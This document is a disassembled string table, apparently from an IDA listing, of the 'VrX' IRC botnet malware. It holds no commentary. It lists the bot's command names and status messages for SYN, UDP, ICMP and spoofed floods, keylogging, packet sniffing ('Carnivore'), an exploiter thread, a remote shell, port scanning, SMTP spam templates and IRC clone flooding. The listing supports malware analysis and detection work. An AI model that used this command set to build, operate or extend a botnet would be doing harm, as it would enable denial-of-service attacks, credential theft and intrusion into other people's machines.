aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
align 4
unk_42AE08 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406E1Do
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0
align 10h
unk_42AE40 db 2Dh ; - ; DATA XREF: sub_401ACD+5346o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aFailedToSta_10 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_42AE78 db 2Dh ; - ; DATA XREF: sub_401ACD+52CCo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0
align 4
aNormal db 'Normal',0 ; DATA XREF: sub_401ACD+52BCo
align 4
aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401ACD+52B5o
unk_42AEBC db 2Dh ; - ; DATA XREF: sub_401ACD+521Ao
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFloodTy db '- Invalid flood type specified.',0
align 4
aRandom_0 db 'random',0 ; DATA XREF: sub_401ACD+520Ao
; sub_4149C1+312o
align 10h
aAck db 'ack',0 ; DATA XREF: sub_401ACD+51F3o
; sub_4149C1+2F2o
aHcon db 'hcon',0 ; DATA XREF: sub_401ACD+517Fo
align 4
aHttpcon db 'httpcon',0 ; DATA XREF: sub_401ACD+516Co
unk_42AF04 db 2Dh ; - ; DATA XREF: sub_401ACD+511Do
db 3, 34h, 2
db 65h ; e
db 6Dh, 61h, 69h
db 6Ch ; l
db 2, 3, 2Dh
aMessageSentToS db ' Message sent to %s.',0
align 4
aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401ACD+50A9o
db 'mail from: <%s>',0Ah
db 'rcpt to: <%s>',0Ah
db 'data',0Ah
db 'subject: %s',0Ah
db 'from: %s',0Ah
db '%s',0Ah
db '.',0Ah,0
aEmail db 'email',0 ; DATA XREF: sub_401ACD+4FBEo
align 4
aTcp db 'tcp',0 ; DATA XREF: sub_401ACD+4FA7o
aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401ACD+4F90o
align 4
aVncHttpHostCha db 'VNC: HTTP Host Changed To: %s',0 ; DATA XREF: sub_401ACD+4F66o
align 4
aVnchost db 'vnchost',0 ; DATA XREF: sub_401ACD+4F48o
aP: ; DATA XREF: sub_401ACD+4F31o
; .packed:00438790o ...
unicode 0, <p>,0
aPing_0 db 'ping',0 ; DATA XREF: sub_401ACD+4F1Ao
align 10h
aPingflood db 'pingflood',0 ; DATA XREF: sub_401ACD+4F03o
align 4
aNs db 'ns',0 ; DATA XREF: sub_401ACD+4EECo
align 10h
aNetsend db 'netsend',0 ; DATA XREF: sub_401ACD+4ED5o
aU: ; DATA XREF: sub_401ACD+4EBEo
; .packed:00438788o ...
unicode 0, <u>,0
aUdp db 'udp',0 ; DATA XREF: sub_401ACD+4EA7o
aUdpflood db 'udpflood',0 ; DATA XREF: sub_401ACD+4E90o
align 4
aAd db 'ad',0 ; DATA XREF: sub_401ACD+4E79o
align 10h
aAdvscan db 'advscan',0 ; DATA XREF: sub_401ACD+4E62o
aPsc db 'psc',0 ; DATA XREF: sub_401ACD+4E4Bo
aPortscan db 'portscan',0 ; DATA XREF: sub_401ACD+4E34o
align 4
aC_a db 'c_a',0 ; DATA XREF: sub_401ACD+4E0Eo
aC_action db 'c_action',0 ; DATA XREF: sub_401ACD+4DF7o
align 4
aC_pm db 'c_pm',0 ; DATA XREF: sub_401ACD+4DE0o
align 10h
aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401ACD+4DC9o
align 4
aSc db 'sc',0 ; DATA XREF: sub_401ACD+4DB2o
align 10h
aScan db 'scan',0 ; DATA XREF: sub_401ACD+4D9Bo
align 4
aRd db 'rd',0 ; DATA XREF: sub_401ACD+4D84o
align 4
aRedirect db 'redirect',0 ; DATA XREF: sub_401ACD+4D6Do
align 4
aNazel3 db 'NAZEL3',0 ; DATA XREF: sub_401ACD+4D3Fo
; sub_401ACD+4D56o
align 10h
aWonk db 'wonk',0 ; DATA XREF: sub_401ACD+4D28o
align 4
aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401ACD+4D11o
align 4
dword_42B064 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4D04o
aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0
align 10h
dword_42B0A0 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4C95o
aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn db 'skysyn',0 ; DATA XREF: sub_401ACD+4C12o
align 4
aSyn db 'syn',0 ; DATA XREF: sub_401ACD+4BFBo
; sub_401ACD+51DBo ...
aSynflood db 'synflood',0 ; DATA XREF: sub_401ACD+4BE4o
align 4
unk_42B0E8 db 2Dh ; - ; DATA XREF: sub_401ACD+4BD7o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aFailedToSta_12 db '- Failed to start flood thread, error: <%d>.',0
align 4
aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401ACD+4B00o
align 4
aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401ACD+4AE9o
; sub_413694:loc_4137C0o
aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401ACD+4AD2o
; sub_413694:loc_4137A4o
align 4
aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401ACD+4ABBo
; sub_413694+F1o
align 4
aClone_0 db 'clone',0 ; DATA XREF: sub_401ACD+4A8Do
align 10h
aIcmp db 'icmp',0 ; DATA XREF: sub_401ACD+4A64o
align 4
aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401ACD+4A4Do
align 4
aMv db 'mv',0 ; DATA XREF: sub_401ACD+4A36o
align 4
aRename db 'rename',0 ; DATA XREF: sub_401ACD+4A1Fo
align 10h
aFf db 'ff',0 ; DATA XREF: sub_401ACD+4A08o
align 4
aFindfile db 'findfile',0 ; DATA XREF: sub_401ACD+49F1o
align 10h
aE: ; DATA XREF: sub_401ACD+49DAo
; .packed:00438778o ...
unicode 0, <e>,0
aExecute db 'execute',0 ; DATA XREF: sub_401ACD+49C3o
aHadeth3 db 'HADETH3',0 ; DATA XREF: sub_401ACD+4995o
; sub_401ACD+49ACo
aDe db 'de',0 ; DATA XREF: sub_401ACD+497Eo
align 4
aDelay db 'delay',0 ; DATA XREF: sub_401ACD+4967o
align 10h
aRp db 'rp',0 ; DATA XREF: sub_401ACD+4950o
align 4
aRepeat db 'repeat',0 ; DATA XREF: sub_401ACD+4939o
; sub_401ACD+6B0Co
align 4
aTsn db 'tsn',0 ; DATA XREF: sub_401ACD+4922o
aTsunami db 'tsunami',0 ; DATA XREF: sub_401ACD+490Bo
aT3 db 't3',0 ; DATA XREF: sub_401ACD+48F4o
align 4
aTarga3 db 'targa3',0 ; DATA XREF: sub_401ACD+48DDo
align 4
aC_p db 'c_p',0 ; DATA XREF: sub_401ACD+48C6o
aC_part db 'c_part',0 ; DATA XREF: sub_401ACD+48AFo
align 10h
aC_j db 'c_j',0 ; DATA XREF: sub_401ACD+4898o
aC_join db 'c_join',0 ; DATA XREF: sub_401ACD+4881o
align 4
aC_n db 'c_n',0 ; DATA XREF: sub_401ACD+486Ao
aC_nick db 'c_nick',0 ; DATA XREF: sub_401ACD+4853o
align 4
aC_m db 'c_m',0 ; DATA XREF: sub_401ACD+483Co
aC_mode db 'c_mode',0 ; DATA XREF: sub_401ACD+4825o
align 4
aC_r db 'c_r',0 ; DATA XREF: sub_401ACD+480Eo
aC_raw db 'c_raw',0 ; DATA XREF: sub_401ACD+47F7o
align 10h
aM: ; DATA XREF: sub_401ACD+47E0o
; .packed:004387D0o ...
unicode 0, <m>,0
aCy db 'cy',0 ; DATA XREF: sub_401ACD+47B2o
align 4
aCycle db 'cycle',0 ; DATA XREF: sub_401ACD+479Bo
align 10h
aA: ; DATA XREF: sub_401ACD+4784o
; .packed:00438794o
unicode 0, <a>,0
aAction db 'action',0 ; DATA XREF: sub_401ACD+476Do
align 4
aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401ACD+473Fo
aAa db 'aa',0 ; DATA XREF: sub_401ACD+4728o
align 4
aAddalias db 'addalias',0 ; DATA XREF: sub_401ACD+4711o
align 4
aKl db 'kl',0 ; DATA XREF: sub_401ACD+46FAo
align 4
aKilllog db 'killlog',0 ; DATA XREF: sub_401ACD+46E3o
aGh db 'gh',0 ; DATA XREF: sub_401ACD+46BAo
align 4
aGethost db 'gethost',0 ; DATA XREF: sub_401ACD+46A3o
unk_42B25C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406163o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aCommandUnknown db '- Command unknown.',0
unk_42B278 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406159o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aNoMessageSpeci db '- No message specified.',0
align 4
aSend db 'send',0 ; DATA XREF: sub_401ACD+465Bo
; sub_409909+5F0o
align 4
unk_42B2A4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40611Do
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListFailed db '- User list failed.',0
align 4
unk_42B2C4 db 2Dh ; - ; DATA XREF: sub_401ACD+4646o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListComple db '- User list completed.',0
unk_42B2E4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406091o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListFaile db '- Share list failed.',0
align 4
unk_42B304 db 2Dh ; - ; DATA XREF: sub_401ACD+45BAo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListCompl db '- Share list completed.',0
align 4
aShare db 'share',0 ; DATA XREF: sub_401ACD+4567o
align 10h
aContinue db 'continue',0 ; DATA XREF: sub_401ACD+4527o
align 4
aPause db 'pause',0 ; DATA XREF: sub_401ACD+450Fo
align 4
unk_42B344 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405FB9o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListFai db '- Service list failed.',0
unk_42B364 db 2Dh ; - ; DATA XREF: sub_401ACD+44E2o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListCom db '- Service list completed.',0
align 4
aStart db 'start',0 ; DATA XREF: sub_401ACD+44ABo
align 10h
unk_42B390 db 2Dh ; - ; DATA XREF: sub_401ACD+4478o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet db 'net',0 ; DATA XREF: sub_401ACD+4454o
aStop db 'stop',0 ; DATA XREF: sub_401ACD+4426o
; sub_401ACD+443Do ...
align 4
aKeylog db 'keylog',0 ; DATA XREF: sub_401ACD+440Fo
align 4
aKeyloger db 'keyloger',0 ; DATA XREF: sub_401ACD+43F8o
align 4
dword_42B3E8 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD:loc_405EB8o
aNoThreadFound_ db '- No thread found.',0
align 4
dword_42B408 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43E1o
aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0
align 10h
dword_42B440 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43B3o
aFailedToSta_13 db '- Failed to start server, error: <%d>.',0
align 4
dword_42B474 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4366o
aServerRunnin_0 db '- Server running on Port: 113.',0
align 10h
dword_42B4A0 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4356o
aAlreadyRunning db '- Already running.',0
align 10h
aIdent db 'ident',0 ; DATA XREF: sub_401ACD+4325o
align 4
unk_42B4C8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405DE5o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aNoVrxSnifferTh db '- No VrX sniffer thread found.',0
unk_42B4F4 db 2Dh ; - ; DATA XREF: sub_401ACD+430Eo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aVrxSnifferStop db '- VrX sniffer stopped. (%d thread(s) stopped.)',0
unk_42B530 db 2Dh ; - ; DATA XREF: sub_401ACD+42E0o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFailedToSta_14 db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B56C db 2Dh ; - ; DATA XREF: sub_401ACD+4271o
db 3, 34h, 2
db 53h ; S
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aVrxPacketSniff db '- VrX packet sniffer active.',0
align 4
unk_42B598 db 2Dh ; - ; DATA XREF: sub_401ACD+420Ao
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aAlreadyRunni_0 db '- Already running.',0
aSniffer db 'sniffer',0 ; DATA XREF: sub_401ACD+41D5o
dword_42B5C0 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD:loc_405C95o
aNoCarnivoreThr db '- No Carnivore thread found.',0
align 4
dword_42B5EC dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+41BEo
aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0
align 4
dword_42B628 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4190o
aFailedToSta_15 db '- Failed to start sniffer thread, error: <%d>.',0
align 4
dword_42B664 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4121o
aCarnivorePacke db '- Carnivore packet sniffer active.',0
align 4
dword_42B694 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+40BAo
aAlreadyRunni_1 db '- Already running.',0
align 4
aOn db 'on',0 ; DATA XREF: sub_401ACD+409Ao
; sub_401ACD+41EAo ...
align 4
aPsniff db 'psniff',0 ; DATA XREF: sub_401ACD+4085o
align 10h
aRf db 'rf',0 ; DATA XREF: sub_401ACD+406Eo
align 4
aReadfile db 'readfile',0 ; DATA XREF: sub_401ACD+4057o
align 10h
aCm db 'cm',0 ; DATA XREF: sub_401ACD+4040o
align 4
aCmd db 'cmd',0 ; DATA XREF: sub_401ACD+4029o
aMirc db 'mirc',0 ; DATA XREF: sub_401ACD+4012o
align 10h
aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401ACD+3FFBo
aV: ; DATA XREF: sub_401ACD+3FE4o
; .packed:004387C4o ...
unicode 0, <v>,0
aVisit db 'visit',0 ; DATA XREF: sub_401ACD+3FCDo
align 4
aLi db 'li',0 ; DATA XREF: sub_401ACD+3FB6o
align 4
aList db 'list',0 ; DATA XREF: sub_401ACD+3F9Fo
align 10h
aGt db 'gt',0 ; DATA XREF: sub_401ACD+3F88o
align 4
aDel db 'del',0 ; DATA XREF: sub_401ACD+3F5Ao
aDelete db 'delete',0 ; DATA XREF: sub_401ACD+3F43o
; sub_401ACD+453Fo
align 10h
aKi db 'ki',0 ; DATA XREF: sub_401ACD+3F2Co
align 4
aKill db 'kill',0 ; DATA XREF: sub_401ACD+3F15o
align 4
aKp db 'kp',0 ; DATA XREF: sub_401ACD+3EFEo
align 10h
aKillproc db 'killproc',0 ; DATA XREF: sub_401ACD+3EE7o
align 4
aDn db 'dn',0 ; DATA XREF: sub_401ACD+3ED0o
align 10h
aDns db 'dns',0 ; DATA XREF: sub_401ACD+3EB9o
aSe db 'se',0 ; DATA XREF: sub_401ACD+3EA2o
align 4
aO: ; DATA XREF: sub_401ACD+3E74o
; .packed:00438AF4o
unicode 0, <o>,0
aOpen db 'open',0 ; DATA XREF: sub_401ACD+3E5Do
; sub_401ACD+583Ao ...
align 4
aPr db 'pr',0 ; DATA XREF: sub_401ACD+3E46o
align 4
aPrefix db 'prefix',0 ; DATA XREF: sub_401ACD+3E2Fo
align 10h
aC_rn db 'c_rn',0 ; DATA XREF: sub_401ACD+3E18o
align 4
aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401ACD+3E01o
align 4
aC_q db 'c_q',0 ; DATA XREF: sub_401ACD+3DEAo
aC_quit db 'c_quit',0 ; DATA XREF: sub_401ACD+3DD3o
align 10h
aKillthread db 'killthread',0 ; DATA XREF: sub_401ACD+3DA5o
align 4
aRaw db 'raw',0 ; DATA XREF: sub_401ACD+3D77o
aPt db 'pt',0 ; DATA XREF: sub_401ACD+3D60o
align 4
aJ: ; DATA XREF: sub_401ACD+3D32o
; .packed:004387ACo ...
unicode 0, <j>,0
aN: ; DATA XREF: sub_401ACD+3D04o
; .packed:004387CCo ...
unicode 0, <n>,0
unk_42B78C db 2Dh ; - ; DATA XREF: sub_401ACD+3CCFo
db 3, 34h, 2
db 69h ; i
db 72h, 63h, 66h
db 75h ; u
db 63h, 6Bh, 2
db 3
aDisconnectingC db '- disconnecting clones...',0
align 4
aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C66o
aRegister db 'register',0 ; DATA XREF: sub_401ACD+3C3Do
align 4
aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401ACD+3BE2o
align 4
aMix db 'mix',0 ; DATA XREF: sub_401ACD+3B0Do
dword_42B7EC dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
; DATA XREF: sub_401ACD+3AB7o
; sub_401ACD+3AF2o
dd 0
dword_42B804 dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
; DATA XREF: sub_401ACD+3A7Co
dd 1
dword_42B81C dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
; DATA XREF: sub_401ACD+3A41o
; sub_401ACD+3B62o
aCtcp db 'ctcp',0 ; DATA XREF: sub_401ACD+39ECo
align 4
aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401ACD+3951o
; sub_401ACD+3991o ...
align 4
aNotice_0 db 'notice',0 ; DATA XREF: sub_401ACD+38F7o
align 10h
aMsg db 'msg',0 ; DATA XREF: sub_401ACD+3802o
aChgnick db 'chgnick',0 ; DATA XREF: sub_401ACD+37BDo
aNick_0 db 'nick',0 ; DATA XREF: sub_401ACD+36B5o
; sub_401ACD+3CEDo
align 4
dword_42B864 dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
; DATA XREF: sub_401ACD+369Ao
dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42B88C dd 636364h ; DATA XREF: sub_401ACD+361Do
dword_42B890 dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+34C6o
dword_42B89C dd 4B43494Eh, 732520h ; DATA XREF: sub_401ACD+34ABo
; sub_401ACD+3712o ...
dword_42B8A4 dd 69257325h, 0 ; DATA XREF: sub_401ACD+3490o
; sub_40AAAC+4Fo ...
aPnick db 'pnick',0 ; DATA XREF: sub_401ACD+344Fo
align 4
aPartSS db 'part %s %s',0 ; DATA XREF: sub_401ACD+3434o
; sub_401ACD+3520o ...
align 10h
aPartflood db 'partflood',0 ; DATA XREF: sub_401ACD+340Do
align 4
aPartS db 'part %s',0 ; DATA XREF: sub_401ACD+33F2o
aPart_0 db 'part',0 ; DATA XREF: sub_401ACD+33D0o
; sub_401ACD+3D49o
align 4
aJoinS db 'join %s',0 ; DATA XREF: sub_401ACD+33B5o
; sub_401ACD+34F4o ...
aJoin db 'join',0 ; DATA XREF: sub_401ACD+3393o
; sub_401ACD+3D1Bo
align 4
aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401ACD+3378o
align 4
aMode db 'mode',0 ; DATA XREF: sub_401ACD+3329o
; sub_401ACD+47C9o
align 10h
aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401ACD+330Eo
align 10h
aNt db 'nt',0 ; DATA XREF: sub_401ACD+32BFo
align 4
dword_42B914 dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
; DATA XREF: sub_401ACD+32A4o
dword_42B928 dd 7463h ; DATA XREF: sub_401ACD+3255o
dword_42B92C dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+323Ao
; sub_401ACD+385Co ...
dword_42B93C dd 5Fh ; DATA XREF: sub_401ACD+320Bo
; sub_401ACD+3275o ...
dword_42B940 dd 6D70h ; DATA XREF: sub_401ACD+31EBo
; sub_401ACD+4756o
unk_42B944 db 2Dh ; - ; DATA XREF: sub_401ACD+31BBo
db 3, 34h, 2
db 56h ; V
db 72h, 58h, 20h
db 46h ; F
db 6Ch, 2 dup(6Fh)
db 64h ; d
db 2, 3, 2Dh
aSClonesLoadedT db ' %s clones loaded to %s:%s',0
align 10h
aLoad db 'load',0 ; DATA XREF: sub_401ACD+3164o
align 4
aFlood db 'flood',0 ; DATA XREF: sub_401ACD+3143o
align 10h
aRinms db 'rinms',0 ; DATA XREF: sub_401ACD+312Co
align 4
aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401ACD+3115o
aRin db 'rin',0 ; DATA XREF: sub_401ACD+30FEo
aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401ACD+30E7o
align 4
unk_42B9AC db 2Dh ; - ; DATA XREF: sub_401ACD+30DAo
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0
align 4
unk_42B9EC db 2Dh ; - ; DATA XREF: sub_401ACD+3068o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aAttemptingToCo db '- attempting to compromise %s...',0
align 4
aExploit db 'exploit',0 ; DATA XREF: sub_401ACD+2FE1o
unk_42BA24 db 2Dh ; - ; DATA XREF: sub_401ACD+2FC5o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0
align 10h
unk_42BA50 db 2Dh ; - ; DATA XREF: sub_401ACD+2FA7o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401ACD+2F83o
align 10h
unk_42BA90 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4049F7o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0
align 4
aGet db 'get',0 ; DATA XREF: sub_401ACD:loc_4049D9o
; sub_401ACD+3F71o
unk_42BACC db 3 ; DATA XREF: sub_401ACD+2E9Ao
a81VrxInvalidLo db '8,1-VrX- Invalid login slot number: %d.',0
align 4
unk_42BAF8 db 3 ; DATA XREF: sub_401ACD+2E8Fo
a81VrxNoUserLog db '8,1-VrX- No user logged in at slot: %d.',0
align 4
dword_42BB24 dd 312C3803h, 5872562Dh, 7325202Dh, 0 ; DATA XREF: sub_401ACD+2E3Ao
unk_42BB34 db 3 ; DATA XREF: sub_401ACD:loc_4048F8o
a81VrxPoweredBy db '8,1-VrX- Powered By VIrUs & zerX! zerX.Virus Rules! (VIrUs@Power-'
db 'Hackers.com).',0
dword_42BB84 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401ACD+2E08o
aFailedToSta_16 db '- Failed to start secure thread, error: <%d>.',0
align 10h
dword_42BBC0 dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h
; DATA XREF: sub_401ACD+2D8Eo
dd 2E6D6574h, 0
aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401ACD+2D88o
align 4
aSecuring db 'Securing',0 ; DATA XREF: sub_401ACD+2D81o
align 4
unk_42BBF4 db 2Dh ; - ; DATA XREF: sub_401ACD+2D0Ao
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFailedToSta_17 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_42BC34 db 2Dh ; - ; DATA XREF: sub_401ACD+2C86o
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aServerStartedO db ' Server started on: %s:%d.',0
align 10h
dword_42BC60 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2C04o
aFailedToSta_18 db '- Failed to start server thread, error: <%d>.',0
align 4
dword_42BC9C dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2B95o
; sub_411BCE+A8o
aServerStarte_0 db '- Server started on: %s:%d.',0
dword_42BCC4 dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD+2AE2o
dword_42BCD4 dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2ADDo
dword_42BCE0 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401ACD+2ACAo
dword_42BCF0 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_401ACD+2AC5o
unk_42BD00 db 3 ; DATA XREF: sub_401ACD+2A52o
a81VrxReconne_1 db '8,1-VrX- Reconnecting.',0
aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404512o
; sub_401ACD:loc_409570o ...
align 10h
unk_42BD30 db 3 ; DATA XREF: sub_401ACD+2A30o
a81VrxDisconnec db '8,1-VrX- Disconnecting.',0
align 4
aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044F0o
align 4
aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044DAo
; sub_401ACD+78C1o
align 4
aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+29FBo
align 10h
unk_42BD80 db 3 ; DATA XREF: sub_401ACD+29D4o
a81VrxStatusRea db '8,1-VrX- Status: Ready. Bot Uptime: %s.',0
align 4
unk_42BDAC db 3 ; DATA XREF: sub_401ACD+2995o
a81VrxBotIdS_ db '8,1-VrX- Bot ID: %s.',0
align 4
unk_42BDC4 db 2Dh ; - ; DATA XREF: sub_401ACD+2986o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToSta_19 db '- Failed to start list thread, error: <%d>.',0
align 10h
dword_42BE00 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h
; DATA XREF: sub_401ACD+2917o
dd 65726874h, 2E736461h, 0
dword_42BE20 dd 627573h ; DATA XREF: sub_401ACD+28F1o
unk_42BE24 db 3 ; DATA XREF: sub_401ACD+289Fo
a81VrxAliasList db '8,1-VrX- Alias list.',0
align 4
unk_42BE3C db 2Dh ; - ; DATA XREF: sub_401ACD+2884o
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedToSta_20 db '- Failed to start listing thread, error: <%d>.',0
dword_42BE74 dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
; DATA XREF: sub_401ACD+2815o
dd 2E676Fh
unk_42BE8C db 3 ; DATA XREF: sub_401ACD+276Do
a81VrxNetworkIn db '8,1-VrX- Network Info.',0
unk_42BEA4 db 3 ; DATA XREF: sub_401ACD+273Eo
a81VrxSystemInf db '8,1-VrX- System Info.',0
align 4
unk_42BEBC db 3 ; DATA XREF: sub_401ACD+26E9o
a81VrxRemovingB db '8,1-VrX- Removing Bot.',0
unk_42BED4 db 2Dh ; - ; DATA XREF: sub_401ACD+26CDo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToSta_21 db ' Failed to start listing thread, error: <%d>.',0
align 10h
dword_42BF10 dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h
; DATA XREF: sub_401ACD+2658o
dd 696C2073h, 2E7473h
aFull db 'full',0 ; DATA XREF: sub_401ACD+2638o
align 4
unk_42BF34 db 2Dh ; - ; DATA XREF: sub_401ACD+25D9o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aAlreadyRunni_2 db ' Already running.',0
align 4
unk_42BF54 db 3 ; DATA XREF: sub_401ACD+2588o
a81VrxUptimeS_ db '8,1-VrX- Uptime: %s.',0
align 4
unk_42BF6C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F8Ao
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellRea db '- Remote shell ready.',0
align 4
